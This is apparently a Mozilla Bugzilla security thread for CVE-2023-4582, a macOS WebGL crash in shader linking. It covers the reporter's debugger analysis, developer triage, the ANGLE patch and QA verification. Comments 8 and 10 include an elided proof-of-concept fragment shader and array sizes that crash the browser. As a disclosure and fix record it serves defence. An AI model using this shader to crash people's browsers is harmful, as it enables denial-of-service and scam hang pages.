1773874 - (CVE-2023-4582) WebGL glGetProgramiv Buffer Overflow Vulnerability

Status: VERIFIED FIXED

(Core :: Graphics: CanvasWebGL, defect, P2)

Description

[SSD Secure Disclosure]

Attachment: poc.html

Steps to reproduce:

A Buffer Overflow vulnerability exists in the Firefox OpenGL in glGetProgramiv. An attacker must open a arbitrary generated HTML file to exploit this vulnerability.

• This vulnerability only works on macOS.

Test environment

• OS : macOS Monterey 12.4(21F79)
• iMac GPU : AMD Radeon Pro Vega 48
• Product : Mozilla Firefox 101.0.1 (64-bit)

** As of my testing, this vulnerability only works on macOS. **

Actual results:

Root Cause Analysis

• A Buffer Overflow vulnerability exists in the Firefox OpenGL in glGetProgramiv.

  * thread #36, name = 'Compositor', queue = 'OpenGLMT', stop reason = EXC_BAD_ACCESS (code=2, address=0x700009632ff8)
      frame #0: 0x00007ff80513dfa7 libsystem_pthread.dylib`___chkstk_darwin + 55
  libsystem_pthread.dylib`___chkstk_darwin:
  ->  0x7ff80513dfa7 <+55>: test   qword ptr [rcx - 0x8], rcx
      0x7ff80513dfab <+59>: cmp    rax, 0x1000
      0x7ff80513dfb1 <+65>: jb     0x7ff80513dfcd            ; <+93>
      0x7ff80513dfb3 <+67>: push   rax
  Target 0: (firefox) stopped.
  
  (lldb) reg read
  General Purpose Registers:
         rax = 0x0000000000100000
         rbx = 0x00007000096b1290
         rcx = 0x0000700009633000
         rdx = 0x0000000000000000
         rdi = 0x0000000000040000
         rsi = 0x0000000000000000
         rbp = 0x00007000096b1320
         rsp = 0x00007000096b1268
          r8 = 0x0000000000000043
          r9 = 0x0000000000000000
         r10 = 0x0000000000041002
         r11 = 0x0000000000000202
         r12 = 0x000000012e5a7440
         r13 = 0x0000000000000000
         r14 = 0x000000012e5a7480
         r15 = 0x00007000096b1c90
         rip = 0x00007ff80513dfa7  libsystem_pthread.dylib`___chkstk_darwin + 55
      rflags = 0x0000000000010216
          cs = 0x000000000000002b
          fs = 0x0000000000000000
          gs = 0x0000000000000000
  

• If you debug at the point where the crash occurred, you can see that the crash occurred in OpenGL.

  (lldb) disassemble -address 0x7ff80513dfa7
  libsystem_pthread.dylib`___chkstk_darwin:
      0x7ff80513df70 <+0>:   push   rcx
      0x7ff80513df71 <+1>:   lea    rcx, [rsp + 0x10]
      0x7ff80513df76 <+6>:   cmp    qword ptr gs:[-0x30], rcx
      0x7ff80513df7f <+15>:  jb     0x7ff80513dfab            ; <+59>
      0x7ff80513df81 <+17>:  cmp    qword ptr gs:[-0x28], rcx
      0x7ff80513df8a <+26>:  jae    0x7ff80513dfab            ; <+59>
      0x7ff80513df8c <+28>:  sub    rcx, rax
      0x7ff80513df8f <+31>:  jb     0x7ff80513df9e            ; <+46>
      0x7ff80513df91 <+33>:  cmp    qword ptr gs:[-0x28], rcx
      0x7ff80513df9a <+42>:  ja     0x7ff80513df9e            ; <+46>
      0x7ff80513df9c <+44>:  pop    rcx
      0x7ff80513df9d <+45>:  ret
      0x7ff80513df9e <+46>:  mov    rcx, qword ptr gs:[-0x28]
  ->  0x7ff80513dfa7 <+55>:  test   qword ptr [rcx - 0x8], rcx
      0x7ff80513dfab <+59>:  cmp    rax, 0x1000
      0x7ff80513dfb1 <+65>:  jb     0x7ff80513dfcd            ; <+93>
      0x7ff80513dfb3 <+67>:  push   rax
      0x7ff80513dfb4 <+68>:  sub    rcx, 0x1000
      0x7ff80513dfbb <+75>:  test   qword ptr [rcx], rcx
      0x7ff80513dfbe <+78>:  sub    rax, 0x1000
      0x7ff80513dfc4 <+84>:  cmp    rax, 0x1000
      0x7ff80513dfca <+90>:  ja     0x7ff80513dfb4            ; <+68>
      0x7ff80513dfcc <+92>:  pop    rax
      0x7ff80513dfcd <+93>:  sub    rcx, rax
      0x7ff80513dfd0 <+96>:  test   qword ptr [rcx], rcx
      0x7ff80513dfd3 <+99>:  pop    rcx
      0x7ff80513dfd4 <+100>: ret

  (lldb) mem read $rcx-0x8
  error: memory read failed for 0x700009632e00

• If you check the address of rcx - 0x8 in qword ptr [rcx - 0x8], rcx where the crash occurred, you can see that it points to an address that cannot be accessed.

  (lldb) bt
  * thread #36, name = 'Compositor', queue = 'OpenGLMT', stop reason = EXC_BAD_ACCESS (code=2, address=0x700009632ff8)
    * frame #0: 0x00007ff80513dfa7 libsystem_pthread.dylib`___chkstk_darwin + 55
      frame #1: 0x00007ff80513df70 libsystem_pthread.dylib`thread_start + 20
      frame #2: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #3: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #4: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #5: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #6: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #7: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #8: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #9: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #10: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #11: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #12: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #13: 0x00007ffa1e0afabb libGLProgrammability.dylib`phase2AddDef + 251
      frame #14: 0x00007ffa1e03453c libGLProgrammability.dylib`glpASTMergePhase2 + 516
      frame #15: 0x00007ffa1e0653bd libGLProgrammability.dylib`glpLinkProgram + 253
      frame #16: 0x00007ffa1e084072 libGLProgrammability.dylib`ShLink + 228
      frame #17: 0x00007ffa1e251fb7 GLEngine`gleLinkProgram + 1440
      frame #18: 0x00007ffa1e1b8cab GLEngine`glLinkProgramARB_Exec + 291
      frame #19: 0x00007ffa1e1bb0c2 GLEngine`glLinkProgramARB_UnpackThread + 12
      frame #20: 0x00007ffa1e2277d1 GLEngine`gleCmdProcessor + 77
      frame #21: 0x00007ff804f8b317 libdispatch.dylib`_dispatch_client_callout + 8
      frame #22: 0x00007ff804f987ee libdispatch.dylib`_dispatch_lane_barrier_sync_invoke_and_complete + 60
      frame #23: 0x00007ffa1e1bb1e9 GLEngine`glGetProgramiv_ExecThread + 29
      frame #24: 0x0000000105b5c4b6 XUL`___lldb_unnamed_symbol112171$$XUL + 54
      frame #25: 0x0000000106713efa XUL`___lldb_unnamed_symbol159126$$XUL + 122
      frame #26: 0x00000001066f9bf1 XUL`___lldb_unnamed_symbol158857$$XUL + 881
      frame #27: 0x00000001066f9825 XUL`___lldb_unnamed_symbol158856$$XUL + 101
      frame #28: 0x00000001066d5ba8 XUL`___lldb_unnamed_symbol158352$$XUL + 72
      frame #29: 0x000000010671e9df XUL`___lldb_unnamed_symbol159339$$XUL + 63
      frame #30: 0x000000010670e0de XUL`___lldb_unnamed_symbol159036$$XUL + 3550
      frame #31: 0x00000001067492bb XUL`___lldb_unnamed_symbol159722$$XUL + 763
      frame #32: 0x0000000105c6b081 XUL`___lldb_unnamed_symbol119129$$XUL + 353
      frame #33: 0x00000001038d8186 XUL`___lldb_unnamed_symbol22404$$XUL + 1062
      frame #34: 0x000000010366bc24 XUL`___lldb_unnamed_symbol15500$$XUL + 5252
      frame #35: 0x00000001038dd6bf XUL`___lldb_unnamed_symbol22430$$XUL + 447
      frame #36: 0x000000010389c170 XUL`___lldb_unnamed_symbol21804$$XUL + 80
      frame #37: 0x000000010366338b XUL`___lldb_unnamed_symbol15472$$XUL + 267
      frame #38: 0x0000000102f46526 libnss3.dylib`___lldb_unnamed_symbol732$$libnss3.dylib + 310
      frame #39: 0x00007ff8051424e1 libsystem_pthread.dylib`_pthread_start + 125
      frame #40: 0x00007ff80513df6b libsystem_pthread.dylib`thread_start + 15

  (lldb) image list | grep XUL
  [  0] AE51D397-7A60-3944-9FE0-A57DCAD758B8 0x00000001030e2000 /Applications/Firefox.app/Contents/MacOS/XUL

  (lldb) image lookup --address 0x0000000105b5c4b6
        Address: XUL[0x0000000002a7a4b6] (XUL.__TEXT.__text + 44532918)
        Summary: XUL`___lldb_unnamed_symbol112171$$XUL + 54
  (lldb) image lookup --address 0x0000000106713efa
        Address: XUL[0x0000000003631efa] (XUL.__TEXT.__text + 56819450)
        Summary: XUL`___lldb_unnamed_symbol159126$$XUL + 122

• Based on the above call stack, it can be inferred that this vulnerability occurs when moving from XUL to OpenGL. The next step required here is to find the root cause of the actual vulnerability in the line of code.

    // frame #25: 0x0000000106713efa XUL`___lldb_unnamed_symbol159126$$XUL + 122
  	// bad sp value at call has been detected, the output may be wrong!
  	__int64 __fastcall sub_3631E80(__int64 a1)
  	{
  	  __int64 v1; // rax
  	  __int64 v2; // r15
  	  __int64 v3; // rbx
  	  void *v4; // r13
  	  __int64 v6; // [rsp+0h] [rbp-40h] BYREF
  	  int v7[13]; // [rsp+Ch] [rbp-34h] BYREF
  	
  	  sub_3611A00(a1 + 136, 0LL);
  	  v1 = *(_QWORD *)(*(_QWORD *)(a1 + 16) + 8LL);
  	  if ( v1 )
  	    v1 -= 16LL;
  	  v2 = **(_QWORD **)(v1 + 40);
  	  sub_2A7B750(v2, *(unsigned int *)(a1 + 24));
  	  LODWORD(v6) = 0;
  	  sub_2A7A480(v2, *(_DWORD *)(a1 + 24), 0x8B84u, (__int64)&v6);// [1]
  	  v3 = (unsigned int)v6;
  	  if ( (unsigned int)v6 < 2uLL )
  	  {
  	    if ( (*(_BYTE *)(a1 + 112) & 1) != 0 )
  	    {
  	      **(_BYTE **)(a1 + 128) = 0;
  	      *(_QWORD *)(a1 + 120) = 0LL;
  	    }
  	    else
  	    {
  	      *(_WORD *)(a1 + 112) = 0;
  	    }
  	  }
  	  else
  	  {
  	    v4 = (void *)moz_xmalloc((unsigned int)v6);
  	    __bzero(v4, v3);
  	    sub_2A7B800(v2, *(unsigned int *)(a1 + 24), (unsigned int)v3, 0LL, v4);
  	    std::string::assign(a1 + 112, v4);
  	    free(v4);
  	  }
  	  v7[0] = 0;
  	  sub_2A7A480(v2, *(_DWORD *)(a1 + 24), 0x8B82u, (__int64)v7);
  	  if ( v7[0] )
  	  {
  	    sub_362F510(&v6, a1, v2);
  	    sub_3611A00(a1 + 136, v6);
  	  }
  	  return __stack_chk_guard;
  	}
  

// frame #24: 0x0000000105b5c4b6 XUL`___lldb_unnamed_symbol112171$$XUL + 54
  __int64 __fastcall sub_2A7A480(__int64 a1, unsigned int a2, unsigned int a3, __int64 a4)
  {
    __int64 result; // rax
  
    result = sub_9DEBC0((_BYTE *)a1, (__int64)"void mozilla::gl::GLContext::fGetProgramiv(GLuint, GLenum, GLint *)");
    if ( (_BYTE)result )
    {
      result = (*(__int64 (__fastcall **)(_QWORD, _QWORD, __int64))(a1 + 600))(a2, a3, a4); // [2]
      ++*(_QWORD *)(a1 + 2648);
      if ( *(_BYTE *)(a1 + 177) )
        return sub_2A7E050(a1, "void mozilla::gl::GLContext::fGetProgramiv(GLuint, GLenum, GLint *)");
    }
    return result;
  }

• You can see that the sub_2A7A480 function is called at [1] and the glGetProgramiv function of the OpenGL library is called at point [2]. After that, a buffer overflow occurs while loading and processing the OpenGL library in XUL.

Reproduce

• Download the attached file.
• open poc.html on firefox.

CREDIT Information

• Dohyun Lee (@l33d0hyun) of SSD-Disclosure Labs & DNSLab, Korea Univ.

Expected results:

No crash

Comment 1

[SSD Secure Disclosure]

Attachment: report.md

Comment 2

[Andrew McCreight [:mccr8]]

I can reproduce this crash in Nightly. bp-0f99e382-6d2b-4091-891c-5c0d60220615

Comment 3

[Andrew McCreight [:mccr8]]

Attachment: debug crash report

I also reproduced a crash in a debug build, but we don't seem to get any useful console messages (like asserts). The stack is similar, but not quite the same. It brought up the OSX crash reporter. Here's an except of the report (the crashing thread and the main thread).

Comment 4

[Andrew McCreight [:mccr8]]

Kelsey, can you take a look? Thanks.

Comment 5

[Kelsey Gilbert [:jgilbert]]

This is the crashing line: https://hg.mozilla.org/mozilla-central/file/b1ed2fa50612451f8f39fc84c5f64af62cf7fe3a/dom/canvas/WebGLProgram.cpp#l1161

void WebGLProgram::LinkAndUpdate() {
  mMostRecentLinkInfo = nullptr;

  gl::GLContext* gl = mContext->gl;
  gl->fLinkProgram(mGLName);

  // Grab the program log.
  {
    GLuint logLenWithNull = 0;
->  gl->fGetProgramiv(mGLName, LOCAL_GL_INFO_LOG_LENGTH,
                      (GLint*)&logLenWithNull);
    if (logLenWithNull > 1) {
      std::vector<char> buffer(logLenWithNull);
      gl->fGetProgramInfoLog(mGLName, buffer.size(), nullptr, buffer.data());
      mLinkLog = buffer.data();
    } else {
      mLinkLog.clear();
    }
  }

  GLint ok = 0;
  gl->fGetProgramiv(mGLName, LOCAL_GL_LINK_STATUS, &ok);
  if (!ok) return;

  mMostRecentLinkInfo =
      QueryProgramInfo(this, gl);  // Fallible after context loss.

}

fGetProgramiv is not doing anything wrong, which makes me think this is a driver issue. It would be sad (maybe bad?) if we couldn't offer the driver's log for when programs failed to link. We then risk only being able to tell authors "the drivers says no" if it passes all our own validation.

Maybe this is acceptable, but I hesitate.

Comment 6

[Kelsey Gilbert [:jgilbert]]

Looking again, yeah it looks like this is crashing during the internal driver linker:

      [...]
      frame #11: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #12: 0x00007ffa1e0afc16 libGLProgrammability.dylib`phase2Process + 56
      frame #13: 0x00007ffa1e0afabb libGLProgrammability.dylib`phase2AddDef + 251
      frame #14: 0x00007ffa1e03453c libGLProgrammability.dylib`glpASTMergePhase2 + 516
      frame #15: 0x00007ffa1e0653bd libGLProgrammability.dylib`glpLinkProgram + 253
      [...]

Comment 7

[BugBot [:suhaib / :marco/ :calixte]]

The severity field is not set for this bug.
:jgilbert, could you have a look please?

For more information, please visit auto_nag documentation.

Comment 8

[Kelsey Gilbert [:jgilbert]]

This is the frag shader:

  precision mediump float;

  varying float floatVar;

  int x[0x00080];
  void main(void) {
    x[0x7f] = 0x41414141;
    x[0x7e] = 0x41414141;
// [...]
    x[0x1b] = 0x41414141;
    x[0x1a] = 0x41414141;
    if(floatVar > 0.) 
      x[0x1a] = 0x41414141;
    else
      x[0x1a] = 0x41414141;
    x[0x19] = 0x41414141;
    x[0x18] = 0x41414141;
// [...]
    x[0x02] = 0x41414141;
    x[0x01] = 0x41414141;

    //gl_FragColor = vec4( float(x[0+offset]), float(x[1+offset]), float(x[2+offset]), 1);

    // Here we allocate memory, without writing to it
    if (int(x[0]) == 42) { // [1]
      int pad[0x40000]; // [2]
      gl_FragColor += vec4(float(pad[42])); // [3]
    }
  }

Three weird things:

1. At [1], glsl branches on a value that the glsl doesn't set (though in WebGL it should be therefore zero)
2. At [2], there's a large stack allocation of ~260K ints. This is super weird, and is suspect for causing the in-driver crash.
3. At [3], glsl writes a value from the large allocation that was never explicitly initialized. (though in WebGL it should be therefore zero)

Comment 9

[SSD Secure Disclosure]

No progress?

Comment 10

[Kelsey Gilbert [:jgilbert]]

  int x[0x00080];
// ...
    // Here we allocate memory, without writing to it
    if (int(x[0]) == 42) {
      //int pad[0x40000]; // crash
      //int pad[0x400]; // ok
      //int pad[0x4000]; // crash
      //int pad[0x1000]; // ok
      //int pad[0x2000]; // crash
      //int pad[0x1800]; // ok
      //int pad[0x1c00]; // ok
      //int pad[0x1e00]; // ok
      //int pad[0x1f00]; // ok
      //int pad[0x1ff0]; // crash
      //int pad[0x2000-0x80]; // ok
      int pad[0x2000-0x80+1]; // crash
      gl_FragColor += vec4(float(pad[42]));
    }

Seems like we have a max of 0x2000=8192 words (0x8000=32768 bytes) of private memory.
32KB looks like "Maximum total threadgroup memory allocation" from the MSL limits: https://developer.apple.com/metal/Metal-Feature-Set-Tables.pdf

Does ANGLE have a pass for this I wonder?

Comment 11

[Kelsey Gilbert [:jgilbert]]

Ok, yeah, this is darwin's pthread stackoverflow protection.
We crash here: https://github.com/apple/darwin-libpthread/blob/c60d249cc84dfd6097a7e71c68a36b47cbe076d1/src/pthread_asm.s#L84

	.globl ____chkstk_darwin
____chkstk_darwin: // %rax == alloca size
	pushq  %rcx
	leaq   0x10(%rsp), %rcx

	// validate that the frame pointer is on our stack (no alt stack)
	cmpq   %rcx, %gs:_PTHREAD_STRUCT_DIRECT_STACKADDR_OFFSET
	jb     Lprobe
	cmpq   %rcx, %gs:_PTHREAD_STRUCT_DIRECT_STACKBOTTOM_OFFSET
	jae    Lprobe

	// validate alloca size
	subq   %rax, %rcx
	jb     Lcrash
	cmpq   %rcx, %gs:_PTHREAD_STRUCT_DIRECT_STACKBOTTOM_OFFSET
	ja     Lcrash

	popq   %rcx
	retq

Lcrash:
	// POSIX mandates that stack overflow crashes with SIGSEGV
	// so load an address in the guard page and dereference it
	movq   %gs:_PTHREAD_STRUCT_DIRECT_STACKBOTTOM_OFFSET, %rcx
->	testq  %rcx, -8(%rcx) // CRASH FRAME 0

I believe this is a fail-safe'd stack overflow check crashing, which would make this a non-exploitable sec-dos.
@dveditz Does that sound right?

Comment 12

[SSD Secure Disclosure]

Any update?

Comment 13

[SSD Secure Disclosure]

Any update?

The item is more than 3 months old

Comment 14

[Daniel Veditz [:dveditz]]

The crash graph is a lie—this crash is still reproducible (bp-c41c22f0-9eca-4879-8ddb-e66d80221013), but on 2022-09-14 it looks like Socorro started reporting a different signature. I'll add the new signature (it's still actually crashing in ____chkstk_darwin, it's just the reported signature that has changed).

I believe this is a fail-safe'd stack overflow check crashing, which would make this a non-exploitable sec-dos. @dveditz Does that sound right?

Not exploitable for RCE, but crashing the entire browser is definitely a Denial of Service!

The testcase crashes just the tab in Chrome, but takes 20-30 seconds during which time Chrome is hung (the Firefox takedown is near instantaneous). The hang arguably makes this more abusable on Chrome: scammers love being able to hang the browser and show a message saying their machine is hacked and to call "Microsoft" or "Google" for help—and then "helping" the user by charging them for useless "service" or getting the user to download and install malware as a "fix".

Comment 15

[Daniel Veditz [:dveditz]]

This might get fixed as a side-effect of bug 1794292 which recently landed in dev builds

Comment 17

[Kelsey Gilbert [:jgilbert]]

Via dveditz in https://bugzilla.mozilla.org/show_bug.cgi?id=1842110#c4:
The patch is apparently https://chromium.googlesource.com/angle/angle/+/fe45418c6592ab210ba5a6101f5058fe24eed266%5E%21/#F0

Comment 18

[Erich Gubler [:ErichDonGubler] (he/him)]

Attachment: Bug 1773874: normalize to Unix line endings in `gfx/angle/auto-update-angle.sh` r=jgilbert

Comment 19

[Erich Gubler [:ErichDonGubler] (he/him)]

Attachment: Bug 1773874: build(angle): explicitly set `git-log`'s `format`, `decorate`, and `abbrev-commit` options in `vendor_from_git` r=jgilbert

Depends on D184172

Comment 20

[Erich Gubler [:ErichDonGubler] (he/him)]

Attachment: Bug 1773874: fix(angle): cherry-pick fe45418c6592ab210ba5a6101f5058fe24eed266 from upstream r=jgilbert

Depends on D184173

Comment 21

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/integration/autoland/rev/3548c3bc97e2
normalize to Unix line endings in `gfx/angle/auto-update-angle.sh` r=jgilbert
https://hg.mozilla.org/integration/autoland/rev/c356ce52303f
build(angle): explicitly set `git-log`'s `format`, `decorate`, and `abbrev-commit` options in `vendor_from_git` r=jgilbert
https://hg.mozilla.org/integration/autoland/rev/0421f7e408c0
fix(angle): cherry-pick fe45418c6592ab210ba5a6101f5058fe24eed266 from upstream r=jgilbert

Comment 22

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/mozilla-central/rev/3548c3bc97e2
https://hg.mozilla.org/mozilla-central/rev/c356ce52303f
https://hg.mozilla.org/mozilla-central/rev/0421f7e408c0

Comment 23

[BugBot [:suhaib / :marco/ :calixte]]

The patch landed in nightly and beta is affected.
:ErichDonGubler, is this bug important enough to require an uplift?

• If yes, please nominate the patch for beta approval.
• If no, please set status-firefox117 to wontfix.

For more information, please visit BugBot documentation.

Comment 24

[Erich Gubler [:ErichDonGubler] (he/him)]

:jgilbert has informed me that while the patches I have supplied are important, they may not be sufficient to fix this issue. We may still need to opt into the new validation from these patches when we set up ANGLE.

Will investigate soon.

Comment 25

[Erich Gubler [:ErichDonGubler] (he/him)]

I can confirm that I've gotten crash exactly the same as OP before the ANGLE patch. After the patch, I can no longer produce the crash, but get an alert instead warning about the size of the private variable pad from the OP's poc.html.

Comment 26

[Ryan VanderMeulen [:RyanVM]]

Please nominate this for Beta and ESR115 approval when you get a chance.

Comment 27

[Erich Gubler [:ErichDonGubler] (he/him)]

Attachment: Bug 1773874: fix(angle): cherry-pick fe45418c6592ab210ba5a6101f5058fe24eed266 from upstream

Original Revision: https://phabricator.services.mozilla.com/D184174
Depends on D184173

Comment 28

[Erich Gubler [:ErichDonGubler] (he/him)]

Attachment: Bug 1773874: fix(angle): cherry-pick fe45418c6592ab210ba5a6101f5058fe24eed266 from upstream

Original Revision: https://phabricator.services.mozilla.com/D184174
Depends on D184173

Comment 29

[Phabricator Automation]

Uplift Approval Request

• Risk associated with taking this patch: Low
• String changes made/needed: None
• Fix verified in Nightly: yes
• Needs manual QE test: yes
• Is Android affected?: no
• User impact if declined: DoS possible on MacOS via custom HTML
• Code covered by automated testing: no
• Explanation of risk level: None identified; downgrading severity of a crash to an alert
• Steps to reproduce for manual QE testing: Run poc.html from bug 1773874

Comment 30

[Erich Gubler [:ErichDonGubler] (he/him)]

Attachment: Bug 1773874: fix(angle): cherry-pick fe45418c6592ab210ba5a6101f5058fe24eed266 from upstream

Original Revision: https://phabricator.services.mozilla.com/D184174

Comment 31

[Phabricator Automation]

Uplift Approval Request

• Needs manual QE test: yes
• Fix verified in Nightly: yes
• String changes made/needed: None
• Risk associated with taking this patch: Low
• Steps to reproduce for manual QE testing: Run poc.html from bug 1773874
• Explanation of risk level: None identified; downgrading severity of a crash to an alert
• Code covered by automated testing: no
• User impact if declined: DoS possible on MacOS via custom HTML
• Is Android affected?: no

Comment 32

[Erich Gubler [:ErichDonGubler] (he/him)]

:ryanvm: Done!

Comment 33

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9347301 [details]
Bug 1773874: fix(angle): cherry-pick fe45418c6592ab210ba5a6101f5058fe24eed266 from upstream

Approved for 117.0b4.

Comment 34

[Ryan VanderMeulen [:RyanVM]]

Comment on attachment 9347304 [details]
Bug 1773874: fix(angle): cherry-pick fe45418c6592ab210ba5a6101f5058fe24eed266 from upstream

Approved for 115.2esr.

Comment 35

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-beta/rev/926c0c79b59e

Comment 36

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr115/rev/b3253bff7063

Comment 37

[Hani Yacoub, Desktop QA]

Managed to reproduce the issue on macOS 11.6 on a macbook pro with gpu: Intel Iris Plus Graphics 655 1536 MB.
The issue isn't reproducible anymore on Firefox Nightly 118.0a1 (2023-08-04).

Comment 38

[Hani Yacoub, Desktop QA]

Verified as fixed on Firefox 117.0b4 and on FIrefox 115.2.0esr on macOS 11.6.

Comment 39

[June Wilde (she/her) [:jewilde]]

Attachment: advisory.txt